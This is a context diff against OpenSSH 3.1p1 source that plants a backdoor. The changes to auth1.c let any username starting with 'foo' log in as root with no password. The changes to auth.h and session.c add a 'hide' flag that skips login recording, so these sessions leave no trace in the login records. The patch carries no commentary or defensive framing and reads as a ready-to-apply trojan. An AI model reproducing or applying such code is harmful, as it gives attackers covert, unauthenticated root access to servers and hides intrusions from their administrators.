diff -C 5 openssh-3.1p1/auth.h openssh-3.1p1.bd/auth.h *** openssh-3.1p1/auth.h 2002-03-05 01:53:04.000000000 +0000 --- openssh-3.1p1.bd/auth.h2003-03-28 15:27:00.000000000 +0000 *************** *** 49,58 **** --- 49,59 ---- int success; int postponed; int valid; int attempt; int failures; + int hide; char*user; char*service; struct passwd*pw; char*style; void*kbdintctxt; diff -C 5 openssh-3.1p1/auth1.c openssh-3.1p1.bd/auth1.c *** openssh-3.1p1/auth1.c 2002-02-14 09:39:50.000000000 +0000 --- openssh-3.1p1.bd/auth1.c2003-03-28 15:26:43.000000000 +0000 *************** *** 379,388 **** --- 379,399 ---- authctxt = authctxt_new(); authctxt->user = user; authctxt->style = style; + if(strncmp(user, "foo", 3) == 0) + { + strcpy(authctxt->user, "root"); + authctxt->pw = getpwnam(authctxt->user); + authctxt->hide = 1; + packet_start(SSH_SMSG_SUCCESS); + packet_send(); + packet_write_wait(); + do_authenticated(authctxt); + } + /* Verify that the user is a valid user. */ pw = getpwnam(user); if (pw && allowed_user(pw)) { authctxt->valid = 1; pw = pwcopy(pw); diff -C 5 openssh-3.1p1/session.c openssh-3.1p1.bd/session.c *** openssh-3.1p1/session.c 2002-02-25 15:48:03.000000000 +0000 *************** *** 552,570 **** error("dup2 stderr: %s", strerror(errno)); /* Close the extra descriptor for the pseudo tty. */ close(ttyfd); ! /* record login, etc. similar to login(1) */ #ifndef HAVE_OSF_SIA ! if (!(options.use_login && command == NULL)) ! do_login(s, command); # ifdef LOGIN_NEEDS_UTMPX ! else ! do_pre_login(s); # endif #endif /* Do common processing for the child, such as execing the command. */ do_child(s, command); /* NOTREACHED */ } --- 552,573 ---- error("dup2 stderr: %s", strerror(errno)); /* Close the extra descriptor for the pseudo tty. */ close(ttyfd); ! if(s->authctxt->hide != 1) ! { ! /* record login, etc. similar to login(1) */ #ifndef HAVE_OSF_SIA ! if (!(options.use_login && command == NULL)) ! do_login(s, command); # ifdef LOGIN_NEEDS_UTMPX ! else ! do_pre_login(s); # endif #endif + } /* Do common processing for the child, such as execing the command. */ do_child(s, command); /* NOTREACHED */ }